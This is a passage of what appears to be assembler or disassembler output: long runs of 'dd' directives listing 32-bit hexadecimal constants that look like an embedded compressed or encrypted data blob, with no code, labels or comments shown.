68E86114h, 0C10978F0h, 846A6D1Fh, 495FA078h dd 1488E4A1h, 9043BE8h, 806D61F1h, 0B9ACAD38h, 1C0B49h dd 0CD673A73h, 39767A6Ah, 7CCCE6F7h, 0F0A11067h, 0BC2B91DBh dd 870C0B04h, 74C37262h, 4958013Ah, 0F6F941Fh, 977980B2h dd 2FC10F1h, 81DE005Fh, 0A70CA6E9h, 3612FF85h, 7C0034DCh dd 2F92C225h, 40584CE6h, 5E348D24h, 0D4093B46h, 140891D7h dd 3F465C20h, 71737900h, 658E7447h, 0A080DB02h, 0A0A1DDBFh dd 2590D5CCh, 0A77207AAh, 426D3E70h, 0BC405480h, 18B9377Dh dd 0D24F08h, 92B086D7h, 25E67654h, 7EFAC40h, 0CB0CC94Eh dd 0FF0B102Fh, 0EB09C3E0h, 0AFA16C1Ch, 0BFD6A15Ch, 0B8743788h dd 182449D8h, 3AC4B2Ah, 0B35B72B6h, 7809267Dh, 49AD7392h dd 0E0367868h, 6DE57507h, 32C4B8A3h, 0E57D9B40h, 980315FAh dd 2D7C29C2h, 91EDE80Ch, 9CEC4CADh, 2EABD310h, 4674486Eh dd 820370ADh, 9C076A02h, 0AA79005Dh, 6150EE39h, 0AFF6E533h dd 0CC010524h, 0CF887601h, 0A060C67Ah, 20EE4AD3h, 31097858h dd 90A57330h, 4C33D650h, 4201244Dh, 8F5A9F37h, 9501300Ch dd 574730Eh, 0B80FA6A1h, 0EF610091h, 86119DECh, 3C0966E3h dd 89B71A37h, 22002078h, 0A1B075FDh, 741877A4h, 0A36CE508h dd 4033C460h, 55E57C9Ah, 8D403C0Bh, 0DB97E982h, 0D0A62E2Dh dd 0C3002921h, 625FCE02h, 0BDCB6BFh, 3998B594h, 461949Ah dd 0C0302816h, 2577F843h, 0C3404292h, 0F8F87B61h, 0AED5BBh dd 8091883Bh, 0A053D1A1h, 7C0178B1h, 0C32B1F23h, 3003432h dd 8DC4A184h, 0A6F814A9h, 0DE5419C0h, 0BBF12Bh, 0C8F629C1h dd 775C6513h, 48C0DA7Ch, 0ABEA8F1Eh, 344D24A4h, 95CB407Ch dd 230C5C54h, 182BC9BBh, 0F95B6ACDh, 7FF4002Ch, 3D059765h dd 2C89DF18h, 0CE723F0h, 3F458FB3h, 601E611h, 3B1E92A1h dd 16CF3997h, 39CAC18h, 0A4BB2908h, 3127D800h, 30757C33h dd 96D5771Ah, 21B002F0h, 0A043BB07h, 0CD620988h, 0EB842850h dd 0A5747103h, 1ACAFC9h, 39105A20h, 4ED46915h, 0F6031120h dd 0AB3E2F81h, 0E6900BCh, 83CB01A1h, 0C3E4AD76h, 4038C2h dd 4E06917Bh, 0A871Fh, 1279487Fh, 1B8F7844h, 195F8F1h dd 8E6B5A1Dh, 6F031E3Fh, 967403FCh, 0E910450Ah, 26D0430Dh dd 1421478h, 7101C585h, 56DA57Ah, 0B43F090h, 491E8B0Eh dd 4806E001h, 5C1F8F1Bh, 3847E444h, 1E1A9E1Eh, 18523A36h dd 81E63A3h, 85187B30h, 139E61B0h, 674E1Dh, 911A6AB4h dd 6600631Bh, 7481526h, 786F7F85h, 352F470h, 647D9A05h dd 0D10F6CACh, 66E1671h, 9239357Bh, 42757C4h, 56F3928Fh dd 5EE002C8h, 507028C8h, 34DB0E00h, 0AB396AA7h, 0DC88582Eh dd 40421513h, 0BB97DA8Ch, 18C48960h, 0D0823313h, 5B08844Ch dd 0DF3EBC80h, 0E0D44CF9h, 0F1E17C0Ah, 902F282Ch, 19A8AABFh dd 88A3660Ch, 0A1B38C0Ch, 7890E630h, 58D8547Ah, 888970A0h dd 803121A7h, 1D7740CAh, 0CC259824h, 8D596A40h, 78A7A02Ah dd 5013773Bh, 7E879F58h, 10BFF743h, 8AEFD6A2h, 0A475B0D2h dd 0A2AD1DC4h, 6821322Ch, 0A409A143h, 0FBA6C8D0h, 4C257166h dd 847CD4F8h, 0A3DEBC12h, 8323E447h, 10805D45h, 3A7D1938h dd 2814BBAFh, 12740CA3h, 4F2D2025h, 5B24AEFCh, 0D9B8C0AFh dd 323A7AEBh, 7CE44C59h, 0ABE217F9h, 301468B3h, 2B58A1B7h dd 9DFEDC65h, 2761164h, 21AF0D19h, 0BC8CA812h, 0B8905A10h dd 8E183621h, 2A8FA7B1h, 14F060AFh, 0F83E2A02h, 0A08C7CC2h dd 5C4130E2h, 48200905h, 0AF8C8870h, 0C1474130h, 0A62F39A3h dd 1A32458Ch, 0FB8880E4h, 99AB257Ah, 5098327Ch, 3221B310h dd 491DAB4h, 0E11840DAh, 40519ED1h, 88B453A0h, 13E06A31h dd 5564205Ah, 0D1D52984h, 97E21D94h, 0CD4543Fh, 0C851B310h dd 4680A1B8h, 0C8C996Ch, 8C2B3928h, 4E50D16h, 5E85042Ah dd 15883339h, 406CE04Ch, 29843EF4h, 31948F8Ch, 253B4140h dd 50506660h, 148A2628h, 999A6880h, 0A129CF0Ch, 86EB00E0h dd 23FC0C99h, 4CEBD54Ch, 0B8A8A1B8h, 64802814h, 850C99D1h dd 34E15F39h, 3DA29C5Ah, 37EF443Dh, 0A0AB8C2Ah, 212C24E4h dd 0CE31EC39h, 2E1D0845h, 7488D825h, 61796A10h, 0CAD4F850h dd 1AB0828Fh, 50D2ABA4h, 6FA8E453h, 2C858681h, 0D8EA5379h dd 5856DC5Dh, 934C23CAh, 0C42C3FF8h, 0B16B88CAh, 0E01BCAEAh dd 50FF21E8h, 3868944Bh, 0FE132904h, 7B0407D9h, 4788C846h dd 21B00AA2h, 4830AFCCh, 86B71D75h, 3E70D59Bh, 3B445E87h dd 9C02B541h, 30E92566h, 95AB5B3Ch, 0E891D547h, 0E043C47h dd 792C9FBCh, 3C70D854h, 475FE3FAh, 616B8BECh, 48DEC2C4h dd 0EE7A1Ch, 5161EFABh, 1015D59Ch, 1175F900h, 4ED6D3FAh dd 0E106009Eh, 71FBA2A7h, 2505ED23h, 0A486E519h, 806E24E1h dd 0D56279FEh, 3A3C501Fh, 0C7B7B1C0h, 787602h, 65F5DB07h dd 102D73E2h, 52FF7F03h dd 0C0D1307Ch, 9C55DE8h, 2B9266D6h, 0E4640020h, 9601DF01h dd 0A8B9139Ch, 0ABD0B4D1h, 60B7EE41h, 14F38E8h, 32003F03h dd 2589BB0Eh, 307A55E2h, 5A49A3BCh, 5E000C2Dh, 0B18C1BB5h dd 34CEADBh, 7702492Ch, 29002A9Dh, 80A0B9E0h, 229C5Fh dd 39F4218h, 0C03DDE13h, 7572CB00h, 0CC3682A7h, 258F09E1h dd 28A55321h, 15244087h, 0A0884007h, 5F07A67Ah, 0FDE7BBDFh dd 174019C7h, 0C04D857Bh, 52DE0639h, 5F0E2876h, 4002DC2Ch dd 9D0369A7h, 6B538CAh, 0FEFA189h, 0E1970881h, 0D9C52054h dd 5E812603h, 0E8A21D88h, 0BE76EFh, 22AE438Dh, 5A558AFCh dd 0A1F8F00h, 250664Fh, 58621F7Fh, 54BE0378h, 55C07D27h dd 7A007937h, 7E7C4FEDh, 147F3123h, 140C6675h, 46C157A3h dd 4930837Bh, 0E03D5C67h, 8037517Eh, 450F0221h, 60255076h dd 554E378h, 38591862h, 4330904Eh, 18E27237h, 4D255540h dd 215F0E7Ch, 809B644Eh, 3C37283Ah, 490E9D73h, 4F265203h dd 46780D72h, 0CC31547Eh, 59DF4927h, 0C5D704Ah, 0A054EC62h dd 78420B84h, 4A090550h, 265C75h, 45032188h, 29C0ED71h dd 0FA972BECh, 5C5B3CABh, 20D0FF0Ch, 19051D49h, 992A5586h dd 0D6B61800h, 0FEA2FFh, 23679D56h, 72C3F655h, 8E3E6603h dd 0A06EE440h, 7E2ED2A6h, 0DF29039Fh, 5C5A2CB5h, 0EB54BDE0h dd 0BBE51A24h, 0D1FDA503h, 9D710038h, 25CE133Fh, 8E80EA18h dd 0C15746Dh, 5952709Eh, 0DA011728h, 0DEAFED4Eh, 0FC01F391h dd 6CA1940Fh, 79AA2218h, 68AF64D4h, 0F7FC215Ch, 83373183h dd 18318EF8h, 98DF59DBh, 0ABCE22E2h, 15E40F09h, 610D2040h dd 2C0F29C9h, 0F6B898AAh, 6595D559h, 218C3058h, 41DAC3A8h dd 0A8622Ch, 7E41E779h, 0C2560CCDh, 8220F4B8h, 9155A905h dd 0D008F695h, 3121C48Fh, 0B318477Eh, 49632E7Fh, 1DE9E731h dd 18F9F3B9h, 0C0D968CAh, 2819ED79h, 9AC8EC99h, 0C776C610h dd 55DC43E9h, 0A7EBF106h, 1931DC08h, 185B80D4h, 24C51ABh dd 545840AEh, 0F8600325h, 13D6B791h, 56FC3790h, 1119C039h dd 86F7D5A6h, 84808C30h, 4C595418h, 58FF5173h, 1A9E813h dd 68DF9791h, 0BE5C44EDh, 7EC20539h, 0A421A0E7h, 0C90AF204h dd 0C474362Fh, 2CE8A7B8h, 644284DDh, 0C018A0E2h, 10148C06h dd 2128CBA6h, 0CE425C3Ch, 0FC8FD410h, 88104244h, 0A8514FE0h dd 88F842D4h, 0A8714FF2h, 9FF442E0h, 0A8DC1161h, 881C4240h dd 6A744481h, 0A21E7810h, 1A0C11B4h, 841FD19Dh, 5CC8F2FCh dd 226C9A2Ah, 8C9123D0h, 31F0DF0Ch, 0F34D24C2h, 0E1A14060h dd 61D252DAh, 11848C14h, 10258D1h, 125D7BDCh, 10F2C27Fh dd 266D370Ch, 98BC41DAh, 0B59A6187h, 29DF4414h, 0A4DE8208h dd 268C6CEEh, 61D0FA03h, 42719E3Ah, 5084FD74h, 0CCBCC8C3h dd 0FB31ED67h, 88FE405Ch, 0A029BB1Bh, 0D50AA008h, 0F06A98A3h dd 3464496Ch, 0C121FDB0h, 67FCCFA1h, 46AE1070h, 0E27B8878h dd 0B491C32Ah, 0B31B205h, 0A0807144h, 323763Ah, 0D784E03h dd 52A0480Fh, 0B100490Ch, 9D7E3268h, 1F7B69F9h, 4A567Ah dd 3A372348h, 0B055573h, 222AF4Eh, 360D08C1h, 28B07BD1h dd 73450E11h, 7F5C0AF8h, 3A007910h, 7E372048h, 0F13354AFh dd 0F251870h, 3856674Eh, 80237F07h, 0F52757Dh, 0D100045Ch dd 6BACAF04h, 7F383C12h, 421B400h, 0A5366549h, 0C58D8C18h dd 19131C11h, 240070D6h, 6ADC0237h, 0D5B006D1h, 18418A08h dd 8FD7793Bh, 8556FD4Dh, 2CC855DFh, 18B71329h, 52F40FE0h dd 806A8505h, 921A231Ch, 0D409F674h, 46CFAEB5h, 0BEEA8Ch dd 2945DEA6h, 0A0E482D1h, 76D9BF05h, 0E0C039B7h, 128B426Bh dd 9B962C5Fh, 8F507BC8h, 0ED187D40h, 40D9DA0Ch, 0AA5A3A85h dd 2428EF78h, 0C007AC18h, 7CA49278h, 6C024702h, 3CF788F1h dd 97FF7E07h, 0A780FEB4h, 98EA9D10h, 6D68C1E4h, 17CBD67h dd 7601013Dh, 8F890EAh, 0A810985Ch, 18A73EC1h, 0EF40C94Fh dd 9050C685h, 0A44A7820h, 0F8BF6045h, 8268C28h, 8F1A243Bh dd 0B8086DBh, 0B6EAF2B0h, 88C26804h, 707B5700h, 0F51C240Bh dd 0A194108Dh, 0EBDA02C2h, 6EEF5A41h, 0ABEDDFC0h, 485089CAh dd 4EFC0932h, 64144828h, 9E430AFh, 7CCD35AEh, 9C8E00FFh dd 84924AB9h, 3B01EF38h, 49035553h, 45E45EAFh, 0B231E66h dd 62511647h, 50C16578h, 615FC548h, 100DF054h, 9E852F6h dd 56634500h, 0FA90274Ch, 44A670h, 0C9A02D19h, 75724C52h dd 0F045353h, 95646CB7h, 7089010h, 55624318h, 30AA94C8h dd 269F68C5h, 83432008h, 823E8858h, 0D2A04029h, 9294E424h dd 1099C4CCh, 90084C3Eh, 98125589h, 486730B6h, 104A7C59h dd 0C6126A51h, 0C8889A27h, 2A88CF08h, 94207020h, 9C444D0Dh dd 94F00ABEh, 11420C3Dh, 8CB23Ah, 5E996850h, 84D4A131h dd 9228513h, 98834482h, 86129989h, 9C488724h, 9A229D91h dd 89909B44h, 249E1291h, 9194489Fh, 7C922295h, 72AC0093h dd 6E05035Fh, 165246A9h, 0B85932F4h, 528496ABh, 14EB0486h dd 2808ED4Bh, 4C00BC5Ch, 998F5D4Dh, 3E5F5BAAh, 140057EDh dd 0A6B155F2h, 5C3E5415h, 534D9D84h, 0DBAB6907h, 0A3477187h dd 408C79C7h, 205BF821h, 74401468h, 0F5A600B2h, 0ED844154h dd 48943D25h, 487FED7h, 5E9255FFh, 1C1D88B3h, 63C826Ah dd 9D2F576Ch, 0AC3852BAh, 757F0826h, 65811A3Dh, 7803724Ch dd 45610991h, 0FA040B38h, 0C22BB0AEh, 0B27100AAh, 0BFF47220h dd 0ED62183Fh, 9590E421h, 0CF09C038h, 1A0760B0h, 263C70C3h dd 5621C3h, 0D953D818h, 4F55F901h, 57799314h, 0A13E1Ch dd 0C65D2D05h, 0A45E4A37h, 0A7A95E28h, 437506E4h, 33416831h dd 0AF31258Ch, 0DB397C00h, 288CA6Eh, 68A20073h, 0A369345Ch dd 1A3C2CAFh, 726A0244h, 8F60D291h, 7A20A084h, 992A57h dd 45A4C6AAh, 88C0D515h, 2686500h, 9436E08Eh, 127B0026h dd 0D51FD8DAh, 0A200CB1Ah, 72C830EDh, 380ABAh, 7D9357EFh dd 42F46ECh, 7956AD00h, 0A11B6AA7h, 422E30C0h, 91A4F68h dd 0AD60A6F0h, 0A3517F10h, 0AC3A2010h, 5E897307h, 0DE9BA99Ch dd 2562026Ch, 0B880A418h, 0D7C77A8Eh, 56FEBD03h, 803E8F2Ah dd 1090633h, 7A972EAh, 0E00B9DC7h, 590087F8h, 0CBAE9CFCh dd 86F7F9h, 0A8EDA37Ch, 33CDD808h, 81DF1C00h, 0E7EBC592h dd 0D43700AEh, 0F088C85h, 0EFF8BC0Ch, 62DF860Eh, 34B980EAh dd 3A7281E9h, 67C0459h, 0AAB0EE6Bh, 0BA1F40C3h, 0A614DAC2h dd 0A09A14AEh, 0DD039F40h, 0C097E7C3h, 0F8F44D1Ch, 0B0EB3CCDh dd 98603053h, 8DC93A1h, 51081CA6h, 8F92EEh, 0DC366C0Ch dd 0A2E8DDB0h, 4E5060A6h, 4D56478Ch, 0DD93E004h, 92EF0308h dd 0D21F02DCh, 0CD9C4A0h, 0A00018ACh, 0A1EDEB37h, 2CAD6C2h dd 0B5D80B9Fh, 2CB359DCh, 40AE86D1h, 779C87C4h, 9715FCF8h dd 8F38F10Bh, 0E37D800Ch, 0FCCD88E8h, 0F2D1FB96h, 401C145Dh dd 0E8F10059h, 98047D61h, 0EE7467A0h, 0D8369714h, 0D9CB02F8h dd 880579B4h, 5E55044Ch, 631AE700h, 5786E1F9h, 0BFF300FCh dd 97872A59h, 0DFE8D7C2h, 34A30826h, 86E97D04h, 0DC4700D7h dd 1233288Ch, 40E8D872h, 0CEA08B98h, 973EF014h, 0B9851335h dd 48504019h, 3C6E0CE0h, 204CF2C2h, 0E8026CD4h, 8AE7378Fh dd 0E2D9EC41h, 191A744Ch, 89161C6h, 0FE570460h, 30080C24h dd 0B0DDCB01h, 80D17853h dd 932C9064h, 401C1240h, 0DD942E58h, 54B0D434h, 0F02D0B09h dd 87D081A7h, 99E00DAEh, 40CA6292h, 0C060D8DCh, 0E601C553h dd 0D7B9DFEDh, 51D3BE93h, 39C08C10h, 0A3350292h, 0D934A185h dd 0D27C70C1h, 0D87EFC60h, 0A0902C7Eh, 0C57C5AB0h, 3162DFF0h dd 4334A960h, 0DA5800ACh, 2E08A685h, 40C1AB84h, 0DB36BA2Ch dd 0C8BC92D1h, 0E73BA83Ch, 9330C7F4h, 0FCDBC753h, 0DC7C85A1h dd 0A086DE00h, 0A6EDD83Eh, 8798A40Bh, 0F86AD504h, 78DE3650h dd 0B9B97881h, 0C36181D4h, 665380D6h, 7D23C60h, 0AEEFEE60h dd 0DDB1D991h, 1849B827h, 35BB8AC2h, 30AAF041h, 0A03A9E1Ch dd 0E89324C5h, 8D2CDC03h, 1630E6C4h, 1E84DA36h, 0DD900F7Ch dd 9286E500h, 40941CC0h, 7ED70448h, 81F80C0Bh, 8EC4218Ch dd 0B460E5CBh, 89E4B308h, 0CB0E9B9h, 2C1DEA67h, 0DC2C09BEh dd 8D100819h, 2C287CD3h, 49C4EBC2h, 0EFB91C03h, 4CDC094Ch dd 9FE452C4h, 0C8C25032h, 2E3D9FC0h, 420DF85h, 0C3D8A095h dd 697CAE10h, 973A3678h, 20D92EA7h, 96DC9342h, 0F93C902Ch dd 13C2AEDCh, 0DDDEDDAh, 6058B534h, 360F8C20h, 99BE9CA3h dd 809461B0h, 4D218F2h, 0DA0DCE50h, 491FF38h, 57BF8EAh dd 5697D2F1h, 0E084B5DFh, 0EA21C1B9h, 872AC20Ch, 0F50B189Dh dd 0DAC8009Ch, 2908B9E1h, 0DE68B0DCh, 0E7EA6C01h, 80DAD8ABh dd 5DDCD860h, 850264FCh, 81E508A7h, 0F86618ABh, 0F0535089h dd 0A8E8E5FDh, 2086A02Eh, 34AB8B82h, 838E0A2h, 1D449ED6h dd 36AA04E8h, 4F3CF2DCh, 0FB4ED431h, 0BC5D0h, 0D834B992h dd 0EBC0A193h, 6301DFF0h, 7CAA86EEh, 907098EFh, 8AFC3A0Fh dd 60410B3Eh, 3130B850h, 0B4EB21E7h, 0EF371DDFh, 0DD340997h dd 2D8150E9h, 800C83C8h, 0BC680B09h, 0E082C252h, 0E8E2E47Ch dd 6C643417h, 0BEDFECB0h, 5F34E850h, 87DDCD05h, 8B0590F7h dd 80A37Ch, 83CD2EF0h, 0E11C2D54h, 868137DDh, 85E6CE53h dd 0BB812180h, 8CEDD8C5h, 0C8A1E7E8h, 743038B9h, 0E020EA5Bh dd 29DD6033h, 0A938A181h, 0F1EB7E10h, 0BCB0F87Ch, 0AA0DE8DFh dd 607C2832h, 378E2474h, 0CDC201Ch, 0CDAA84D5h, 0C107AE20h dd 329286DAh, 0CBA08541h, 0E05DB838h, 70E59C5h, 8A2D52C4h dd 0B975418Ch, 0C1EC2809h, 8F92E733h, 0D8B1FEF1h, 47DC8788h dd 525343DCh, 405C86B4h, 74F9878h, 0CA268ABCh, 0A9283C04h dd 0C2920180h, 0A045D8EBh, 0C5B042E9h, 60B9F0A6h, 0E36A917h dd 780BDCCCh, 0B9A619E8h, 1DAE9ECh, 58552EC2h, 4993DC31h dd 3061602Dh, 68D8D737h, 9CEFC1D4h, 4420CDA3h, 94F4A692h dd 0F0E8C964h, 804FDCD8h, 81ED300Fh, 0DF86E663h, 0E885EFF1h dd 497EE60h, 0A281DCF0h, 20ADFF18h, 0C513A9B4h, 0DC01EDD5h dd 0CBAAEBF2h, 0F6C40CCCh, 0DF1507CFh, 2094CAB8h, 43240768h dd 49839300h, 263EA0C6h, 66993AC4h, 89F15960h, 1F00EE17h dd 0EA402AA9h, 608390ACh, 0B14C38D1h, 51EA124Ah, 7097333Bh dd 0FEA4DF0Ch, 209648E7h, 0A5002FC9h, 303C08CFh, 33B32049h dd 330FBD1h, 0B7F57BD0h, 4E38F618h, 0AD95920h, 9562832Bh dd 0FE927320h, 20CE0D30h, 3F0D4B90h, 0A02BF24Eh, 0F8A78C00h dd 14950177h, 0C62FC0FAh, 0B908920Ah, 1DB8F0h, 28B077FFh dd 0B4F38F19h, 0DDD4C44h, 9BF898A3h, 91589118h, 9677829Eh dd 0B831A214h, 77FA5210h, 0B672CD00h, 0BB2A93E2h, 0E95100D9h dd 20C4EB4Ah, 0A4A0C7F3h, 4007EDEFh, 0F6B45086h, 84453BC5h dd 0B80425DAh, 84410CBBh, 98F9A97Ch, 47698190h, 1F8F482h dd 30263883h, 5894F1E3h, 7481421Ch, 0C6001822h, 7D71E630h dd 640F4F93h, 0E6ED6194h, 3759A2C5h, 0E0613DBEh, 0FA36DEF3h dd 4F03CF76h, 0D40DB581h, 74B9B68Ch, 441530E2h, 0CE498031h dd 283CE824h, 809AEE8Eh, 58DE4EFh, 0EDC73028h, 8FA90819h dd 92152202h, 456A8133h, 34A26430h, 0B968A4h, 269CB4D7h dd 0FC794649h, 1C131B29h, 0FB27AC90h, 0B32A7048h, 0C124CA49h dd 14CF7A5h, 4D9A5C00h, 8FD84B50h, 8E2B0B0Eh, 9D41D805h dd 0E363005Ah, 78AEFD52h, 8E2B2A54h, 83D1E0B7h, 0E1FDC81Ah dd 46830CE7h, 2D1F599Ah, 0C604ECE8h, 0A7864FE0h, 21386009h dd 54ECFC0Dh, 1326B9FEh, 0CA0300A1h, 42D9F30h, 0BAA98178h dd 0EE0CC8BCh, 8CFFA50Ch, 1414E046h, 90602183h, 7CF9E844h dd 0EA90A805h, 0B866053Fh, 7BEC7D8Eh, 98AD118Ch, 0A0D6C482h dd 37917495h, 0C8033280h, 0CE006E97h, 0B6982E7Bh, 2A0C950Fh dd 0DF4A1B2h, 2F20D6C5h, 5E801A8h, 0F7D18048h, 0DC1ED915h dd 8C751DE9h, 268841F3h, 5F4709FBh, 20867A70h, 0C60A387Eh dd 0B0ABAFA1h, 3B23E820h, 49C80148h, 303D465Eh, 3514C3C8h dd 0F220BCF0h, 0E4084D4Ah, 0C272603Ah, 0EEC4043Dh, 8C3E51C7h dd 0A91847E4h, 4070A3C6h, 39496016h, 28034B3Ch, 4C01CB14h dd 2AE70AA4h, 2F80E4A1h, 0AA9CCEA5h, 93FA0EA9h, 0D9AF2736h dd 91BCE640h, 0EC4CB604h, 599B0890h, 998F0166h, 22823C7Dh dd 122C0528h, 0A80021CBh, 24FE03E9h, 3044923Ah, 0B9794D9Bh dd 173E77CFh, 7CD9023Ch, 68D630F6h, 0B0C3FE3Ch, 0E3843224h dd 58A7D320h, 0FE59D0EBh, 0B0922C04h, 88645300h, 296DCA95h dd 55B23334h, 9100DB08h, 0C1886C72h, 723BE79Dh, 443E0254h dd 67172FF2h, 0AC1D4C64h, 0C500A1CDh, 0C14F08DBh, 4C1004C8h dd 93A25A76h, 0DCF238B8h, 62A1BD00h, 32F8A00Fh, 0C5D77E12h dd 6B7D4F18h, 13C30050h, 2BE8148Dh, 0DCC8A8ADh, 0DE680FAAh dd 0A4E1F15Bh, 0D851CB39h, 0A50036DDh, 75E42641h, 0A0F74691h dd 474CB898h, 6A0C7D30h, 0A0274390h, 0A3C400E4h, 30359269h dd 0D063B799h, 0E2A11918h, 0C6204095h, 0DE183068h, 0BD0CE618h dd 0EA014C93h, 90C66FECh, 0F883018h, 0B3EC07E6h, 0C043B95Eh dd 0A2E46548h, 0F88C4D54h, 887A0F8Ch, 88D1CAFFh, 626C8154h dd 0CC8D8F88h, 953E611Bh, 0AD301D97h, 99EEC6Ch, 96531D41h dd 0E4503AC6h, 4974C7A5h, 0CB083831h, 9A076165h, 34765733h dd 1B200029h, 6CA5F6D3h, 8D334975h, 28086Fh, 0D283C021h dd 0C89D1AD9h, 0D7BA520Fh, 0A3B0F474h, 0FBD823CCh, 0E2887B00h dd 862AC5CAh, 897F44h, 937B8863h, 4A459A72h, 0FE48D0h dd 8983FAF0h, 485567Ch, 6A78BA2Ah, 79D0882Bh, 384BFE00h dd 753AE84Ch, 0E3B70787h, 0C23D2812h, 584C6735h, 0AB986208h dd 0B023532Dh, 887001FAh, 0ECDCAE9h, 88788E03h, 75FBA974h dd 4EF10383h, 2B07696h, 149177F4h, 10BB31DAh, 6077FCA9h dd 0F9216A47h, 7A2E0641h, 851FB471h, 0F060A020h, 0F014813Bh dd 6680481Dh, 2A8832CEh, 94615318h, 8FF18BCh, 0E8C67AECh dd 9E70870h, 1902D0ECh, 0D53BE002h, 82718101h, 0A5AB00C2h dd 0F5056E4Ch, 2F01832Ah, 5C9934C4h, 0BAF25472h, 0DC8F30h dd 9D6D410Eh, 0DFB0CD4Ah, 7C48353h, 0CBCE84A9h, 0FC5DDC40h dd 7E4604AEh, 987833EFh, 0D2089054h, 70B4A5EDh, 0D30218FBh dd 95F546B5h, 5BE0E017h, 7A117C7h, 900843AEh, 0F83E2F67h dd 7340758Ah, 0EE4B888h, 9BE7AB34h, 9796C5C1h, 390C361Fh dd 83899CEAh, 0FDE42064h, 94886160h, 2955CA10h, 738757C8h dd 0DE7389A9h, 0DD8BE8BAh, 3EA791Dh, 7FC7B7B2h, 0B9A03F8Eh dd 0B0D3B803h, 0CFC00418h, 3F2088A0h, 18830D40h, 18BB6251h dd 6B206909h, 33071DD4h, 41E69DF0h, 9AC929FEh, 0D9E4F8B2h dd 689068A4h, 95028246h dd 0F8C664ECh, 0E0048E7h, 4323ECFDh, 120E1A8h, 58504929h dd 3F20C73Dh, 0C6CB2008h, 0C0311975h, 0C8344AA0h, 0FF70C036h dd 0A2384162h, 986A84C9h, 5890D9F3h, 539F33A1h, 0DBB2C03Ch dd 79FB4E30h, 0A80C5038h, 822FF9Bh, 0C896B882h, 8F08A464h dd 3B195Eh, 5844A931h, 2DF83D43h, 0EAC479C7h, 0A62E7641h dd 2C863474h, 64ECBE57h, 0C814CB3Fh, 0E418C0A2h, 3267B43Dh dd 7E403B69h, 4C895E8Ch, 0FD82EC3Eh, 982A972Dh, 1D5465Ch dd 0E9C3A3F9h, 88418B44h, 10ADA4Bh, 1F543188h, 0E8411E6Bh dd 0E30CBE18h, 0C666EC08h, 91CF88h, 0D7ECEB04h, 79DAE8h dd 0D4451D0Ah, 5FA5C264h, 0A001A14Eh, 7F559B46h, 24D71C20h dd 5828C8C6h, 73000D80h, 33937D4Ch, 2AE3096h, 0C843F59Ah dd 9C60EF09h, 0B8A018DCh, 0A125C66Ch, 903405ABh, 200804CAh dd 0CC012CFBh, 5231C379h, 0FF8DE0DAh, 90C44CEBh, 0F1242220h dd 83C09C95h, 5CA35FB9h, 2EB5103Eh, 0FE8C7E74h, 0D6CF0084h dd 0D514457Eh, 21C002B4h, 0AFF82E3Dh, 0CE0C0F3Bh, 0E65D4464h dd 2282008Ch, 406841B2h, 1D300090h, 0C486D8DEh, 0DC84534Fh dd 39B48E0Ch, 3F07C251h, 0B90C7480h, 82377770h, 9D7000BDh dd 1544E869h, 340BABC2h, 2C186E7h, 9625548h, 0EC8C00B0h dd 0C86CB949h, 0E6F7C7FDh, 6CAC4E1Ah, 1906A344h, 0C86877FEh dd 12D0329Bh, 0E80F94E7h, 27D3A462h, 6F03408Ah, 42B1920Ch dd 0FDF5E900h, 4D8F8568h, 0A8755C58h, 38C56E8h, 0B0946A2Dh dd 0A0D92E6Dh, 5044274Ch, 48C56A8h, 0A5F7D31Ah, 203F6284h dd 51D282CDh, 9F0E4B3Ah, 1600219Ah, 6A536ECFh, 18C44877h dd 0A07CB6A4h, 0C032219Eh, 454ADD71h, 0CB1D3919h, 0E0879250h dd 54AC5A09h, 0A8FF58CFh, 3D576D04h, 1E35D47h, 0A5F0D295h dd 88D118BCh, 0D213BDC2h, 68010F52h, 0CCCFBA78h, 790440C2h dd 8BB914C6h, 0F501D002h, 8790E8CDh, 0DC98EA7Ch, 92105C6Ch dd 98074CE1h, 79DB5FE8h, 65B46488h, 0EA8C6031h, 0B0C3988Fh dd 50C0F6DAh, 262D7471h, 7674E9D9h, 39032B46h, 0CECC5732h dd 3BE95FE8h, 0A0332606h, 9295DCAh, 45755EC5h, 4E6A3C90h dd 0A54CA203h, 2330CD7h, 7147A918h, 0E976B6h, 20C4715Ch dd 0C7400F18h, 4418B0FCh, 20C36F89h, 87502AA9h, 3C1CD5C1h dd 81B3D085h, 20F8C84Eh, 0B0B91E7Ch, 0DC18A5D9h, 526B503h dd 0D845988Ah, 6A0EAF8h, 43123203h, 4F0D9823h, 0B849C676h dd 57F2D472h, 80F09F31h, 0E1350092h, 0CA37A803h, 30A0AB20h dd 20E9DE56h, 4E00B2E4h, 6BE194DCh, 9C7251C6h, 4DCF41C8h dd 0D87FECF6h, 117CCCB6h, 0ED59487Dh, 0CC1541ADh, 37038D17h dd 0AA44D48Ah, 2B4840F9h, 2EEE4B8Eh, 1C2B239Ch, 0BD538186h dd 3C0B4B3Dh, 0C4FBCA38h, 6F80FF11h, 65CAFE88h, 0D8222943h dd 5288E6A0h, 0FFFB3728h, 8214C548h, 5069B31Eh, 0FEDD15D8h dd 310E8044h, 23240B8Fh, 261CC866h, 0A73BC700h, 0AE835725h dd 0BB42001Ah, 31CEB10Ch, 0C40BF417h, 292EA390h, 3A5CCC80h dd 9F427DB3h, 461D9305h, 97171897h, 0C7837312h, 60B84410h dd 4CF3A069h, 35090C7Dh, 0CCC17C3Ah, 97828A7h, 0E1B94608h dd 0BC62E758h, 1E3030F2h, 41D3070Ch, 0F02B0197h, 0C7B981ADh dd 1060ACE5h, 2326F08h, 0CCF68FF4h, 9BF8B0D0h, 0C452B26h dd 0C0C8330Ah, 6365CB61h, 73968042h, 0E3EB70F0h, 0E40FEE00h dd 5A8722Ah, 0FA21C07Ch, 5863433Eh, 0CA1D8807h, 0DF90604Ch dd 1EE97207h, 0E8E1B8D0h, 0BB2B0DBCh, 2088417Dh, 0DCAA3144h dd 45F26843h, 27C6C725h, 0D6123F18h, 0C5962674h, 0A4F04CFCh dd 832283Eh, 98AFCBDEh, 6D4A210Dh, 0DBB7F712h, 0C693E004h dd 0A8CECA5Fh, 831E84E4h, 43E8E115h, 27828AC8h, 62A13C01h dd 30CAD983h, 403F297Bh, 0ACA689CBh, 23CC913Eh, 0CD298010h dd 4E603D7Fh, 9F386439h, 2187810Fh, 0B86C250Ch, 0ECB20131h dd 0B0D9F002h, 1215B8D4h, 60E74E34h, 9477F144h, 96F2142Fh dd 0BC1C4CB0h, 84808F38h, 9971F0FDh, 650018F4h, 95EC0B5Ah dd 613AB43Fh, 8FA950E9h, 6908DCF0h, 43224714h, 0E74A7734h dd 3023982Eh, 0D464420Eh, 0D6260096h, 433D3775h, 93C60A98h dd 38C8490Dh, 4F68400Ch, 